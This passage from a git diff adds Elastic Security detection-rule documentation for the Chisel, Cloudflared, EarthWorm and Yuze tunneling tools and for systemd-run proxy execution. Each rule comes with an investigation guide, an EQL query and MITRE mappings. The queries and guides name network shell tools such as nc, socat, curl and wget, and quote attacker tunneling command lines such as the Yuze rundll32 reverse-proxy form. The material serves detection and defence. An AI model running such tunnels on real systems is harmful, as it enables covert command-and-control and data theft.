FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Potential Protocol Tunneling via Chisel Server - ac8805f6-1e08-406c-962e-3937057fa86f +- Potential Linux Tunneling and/or Port Forwarding - 6ee947e9-de7e-4281-a55d-09289bdf947e +- Potential Protocol Tunneling via EarthWorm - 9f1c4ca3-44b5-481d-ba42-32dc215a2769 + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses port tunneling for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.args == "client" and process.args : ("R*", "*:*", "*socks*") and process.args_count >= 4 and + process.parent.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + not process.name in ("velociraptor", "nbemmcmd", "redis-cli", "ipa")] + [network where host.os.type == "linux" and event.action == "connection_attempted" and event.type == "start" and + destination.ip != null and destination.ip != "127.0.0.1" and destination.ip != "::1" and + not process.name : ( + "python*", "php*", "perl", "ruby", "lua*", "openssl", "nc", "netcat", "ncat", "telnet", "awk", "java", "telnet", + "ftp", "socat", "curl", "wget", "dpkg", "docker", "dockerd", "yum", "apt", "rpm", "dnf", "ssh", "sshd", "kubectl*", + "clickhouse" + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-protocol-tunneling-via-cloudflared.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-protocol-tunneling-via-cloudflared.asciidoc new file mode 100644 index 0000000000..24d3a3b615 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-protocol-tunneling-via-cloudflared.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-34-potential-protocol-tunneling-via-cloudflared]] +=== Potential Protocol Tunneling via Cloudflared + +Identifies the use of Cloudflare Tunnel (cloudflared) to expose a local service or create an outbound tunnel. Adversaries may abuse quick tunnels (e.g. tunnel --url http://127.0.0.1:80) or named tunnels to proxy C2 traffic or exfiltrate data through Cloudflare's edge while evading direct connection blocking. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/install-and-setup/tunnel-useful-commands/ +* https://attack.mitre.org/techniques/T1572/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Protocol Tunneling via Cloudflared* + + +Cloudflare Tunnel (cloudflared) is a legitimate tool for exposing local services through Cloudflare's edge. Adversaries abuse it to create quick or named tunnels for C2, data exfiltration, or ingress tool transfer while evading direct connection blocking. + + +*Possible investigation steps* + + +- Confirm the process command line for `tunnel`, `--url`, or `tunnel run` to validate cloudflared tunnel usage. +- Identify the parent process and process executable path; cloudflared run from temp or user writable locations is more suspicious than from Program Files. +- For quick tunnel (`--url http://...`), identify the local URL and whether it could be a C2 callback or proxy. +- Correlate with network data for outbound connections to Cloudflare IPs or trycloudflare.com-style hostnames around the same time. +- Review the user and session that started the tunnel; look for other suspicious logon or execution from the same context. + + +*False positive analysis* + + +- Legitimate use of Cloudflare Tunnel for development or internal services may trigger this rule; consider allowlisting by path or user for approved use cases. + + +*Response and remediation* + + +- If unauthorized tunnel use is confirmed: isolate the host, terminate the cloudflared process, and block cloudflared or Cloudflare tunnel domains at DNS/firewall where policy permits. +- Rotate credentials for any accounts that may have been exposed over the tunnel. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "cloudflared.exe" or ?process.pe.original_file_name == "cloudflared.exe" or ?process.code_signature.subject_name : "Cloudflare, Inc.") and process.args : "tunnel" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: External Proxy +** ID: T1090.002 +** Reference URL: https://attack.mitre.org/techniques/T1090/002/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-protocol-tunneling-via-earthworm.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-protocol-tunneling-via-earthworm.asciidoc new file mode 100644 index 0000000000..5ccb972d65 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-protocol-tunneling-via-earthworm.asciidoc @@ -0,0 +1,218 @@ +[[prebuilt-rule-8-19-34-potential-protocol-tunneling-via-earthworm]] +=== Potential Protocol Tunneling via EarthWorm + +Identifies the execution of the EarthWorm tunneler. Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection and network filtering, or to enable access to otherwise unreachable systems. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://rootkiter.com/EarthWorm/ +* https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Protocol Tunneling via EarthWorm* + + +Attackers can leverage `earthworm` to clandestinely tunnel network communications and evade security measures, potentially gaining unauthorized access to sensitive systems. + +This rule looks for several command line arguments that are consistent with `earthworm` tunneling behavior. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate protocol tunneling. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Potential Protocol Tunneling via Chisel Client - 3f12325a-4cc6-410b-8d4c-9fbbeb744cfd +- Potential Protocol Tunneling via Chisel Server - ac8805f6-1e08-406c-962e-3937057fa86f +- Potential Linux Tunneling and/or Port Forwarding - 6ee947e9-de7e-4281-a55d-09289bdf947e + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses port tunneling for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in either from Elastic Defend, or Auditbeat integration. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "start", "exec_event", "ProcessRollup2", "executed", "exec_event", "process_started") and +process.args : "-s" and process.args : "-d" and process.args : "rssocks" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-protocol-tunneling-via-yuze.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-protocol-tunneling-via-yuze.asciidoc new file mode 100644 index 0000000000..b46e3245af --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-protocol-tunneling-via-yuze.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-potential-protocol-tunneling-via-yuze]] +=== Potential Protocol Tunneling via Yuze + +Identifies execution of Yuze, a lightweight open-source tunneling tool used for intranet penetration. Yuze supports forward and reverse SOCKS5 proxy tunneling and is typically executed via rundll32 loading yuze.dll with the RunYuze export. Threat actors may use it to proxy C2 or pivot traffic. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1572/ +* https://github.com/P001water/yuze +* https://www.trendmicro.com/tr_tr/research/26/c/dissecting-a-warlock-attack.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Protocol Tunneling via Yuze* + + +Yuze is a C-based tunneling tool used for intranet penetration and supports forward and reverse SOCKS5 proxy tunneling. It is commonly executed as `rundll32 yuze.dll,RunYuze reverse -c :` and has been observed in threat actor campaigns. + + +*Possible investigation steps* + + +- Confirm the command line contains `yuze.dll` and `RunYuze`; typical form is `rundll32 yuze.dll,RunYuze reverse -c :`. +- Extract the remote endpoint from the `-c` argument (C2 or relay) and look up the IP/domain in threat intelligence. +- Locate where yuze.dll was loaded from; check file creation time to see if it was recently dropped. +- Identify the parent process that started rundll32 (script, scheduled task, exploit, etc.) to understand the execution chain. +- Correlate with network events for outbound connections from this host to the IP/port in the command line. + + +*False positive analysis* + + +- Legitimate use of Yuze is rare; most hits are likely malicious or red-team. If you use Yuze for authorized testing, consider an exception by host or user. + + +*Response and remediation* + + +- Isolate the host and terminate the rundll32 process. +- Remove yuze.dll from disk and hunt for other copies or related artifacts. +- Block the C2/relay IP or domain at DNS/firewall; rotate credentials if the tunnel was used for access. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (process.args : "reverse" and process.args : ("-c", "-s")) or + (process.args : ("proxy", "fwd") and process.args : "-l") + ) and + (?process.code_signature.exists == false or process.name : "rundll32.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-proxy-execution-via-systemd-run.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-proxy-execution-via-systemd-run.asciidoc new file mode 100644 index 0000000000..03eccdd901 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-proxy-execution-via-systemd-run.asciidoc @@ -0,0 +1,217 @@ +[[prebuilt-rule-8-19-34-potential-proxy-execution-via-systemd-run]] +=== Potential Proxy Execution via Systemd-run + +This rule detects the execution of a command or binary through the systemd-run binary. Systemd-run can schedule commands to be executed in the background through systemd. Attackers may use this technique to execute commands while attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Proxy Execution via Systemd-run* + + +This alert fires when a Linux process launches another command through systemd-run instead of executing it directly, which can hide execution behind a trusted system utility and detach it into a transient service or scope. An attacker might use systemd-run --user or a transient unit to start a shell, downloader, or credential-harvesting script in the background from an interactive session, reducing visibility into the real payload and parent-child chain. + + +*Possible investigation steps* + + +- Reconstruct the full process tree around the event to determine which user, shell, script, service, or remote access session invoked systemd-run and whether the ancestry aligns with normal administrative or automation activity on that host. +- Review the exact command passed through systemd-run, including flags such as --user, --scope, scheduling options, or custom unit names, and classify the spawned payload as expected software management, benign interactive use, or suspicious shell, downloader, or persistence behavior. +- Query systemd and journal artifacts for the transient unit that was created, including unit properties, start time, execution account, service output, and whether the unit remained active, failed, or was configured to run again. +- Correlate the execution with nearby events from the same user or host such as logins, sudo activity, file creation in writable locations, outbound network connections, or follow-on launches of interpreters and admin tools to identify a broader intrusion sequence. +- If the activity is unauthorized or unclear, inspect the referenced binary or script for path reputation, package ownership, hash prevalence, and recent modification history, then stop the transient unit and contain any files or persistence it introduced. + + +*False positive analysis* + + +- A legitimate administrator or maintenance script may use `systemd-run` to launch a transient unit for package updates, cache rebuilds, or controlled service restarts, so verify the initiating user, the parent script or shell history, and nearby package-management or scheduled change activity. +- A normal desktop or user session can invoke `systemd-run --user` or `--scope` to start an application, terminal, or session task in a transient scope, so confirm the parent process belongs to the logged-in user’s graphical session and that the spawned command matches expected interactive activity in systemd or journal logs. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network except for approved management channels, terminate the malicious `systemd-run` transient unit or scope, and kill any child shell, downloader, or script it launched. +- Remove attacker persistence by deleting unauthorized unit files and drop-ins from `/etc/systemd/system/`, `/run/systemd/transient/`, `/var/lib/systemd/`, and affected users’ `~/.config/systemd/user/` directories, then run `systemctl daemon-reload` and disable any malicious timers or services. +- Preserve and quarantine the executed payload, related scripts, and any files created from writable locations such as `/tmp`, `/var/tmp`, `/dev/shm`, or a user home directory, and revoke exposed access by resetting compromised passwords, SSH keys, tokens, and sudo access tied to the initiating account. +- Restore the system to a known-good state by reimaging or rebuilding the host from a trusted baseline if the command ran as `root`, modified security tooling, or executed an unknown binary, and validate that only approved packages, services, and startup entries remain before returning it to production. +- Escalate to incident response immediately if the `systemd-run` activity spawned a reverse shell, downloader, credential access tool, or lateral movement utility, if similar transient units appear on multiple hosts, or if the affected account has privileged or production access. +- Harden the environment by restricting who can invoke `systemd-run` through sudoers and privileged group membership, enforcing MFA and least privilege for administrative access, monitoring for new transient units and unexpected `--user` executions, and blocking execution from world-writable paths where the payload was staged. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat +- Auditd Manager +- CrowdStrike + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "executed", "process_started", "start", "ProcessRollup2") and +process.name == "systemd-run" and ?process.parent.executable != null and +not ( + ?process.parent.executable in ( + "/usr/lib/systemd", "/lib/systemd/systemd", "/opt/saltstack/salt/run/run", "/etc/update-motd.d/70-available-updates", + "/tmp/newroot/usr/libexec/ptyxis-agent", "/usr/local/sbin/clamscan.sh", "/opt/sentinelone/bin/sentinelone-agent", + "/usr/local/bin/salt-minion", "/var/vanta/launcher", "/opt/traps/bin/pmd", "/usr/sbin/gdm", "/usr/bin/salt-minion", + "/opt/GC_Ext/GC/gc_linux_service", "/usr/lib/plesk-task-manager", "/opt/forticlient/epctrl", "/usr/lib/snapd/snap-exec", + "/usr/bin/yay", "/usr/local/bin/hexnode_agent", 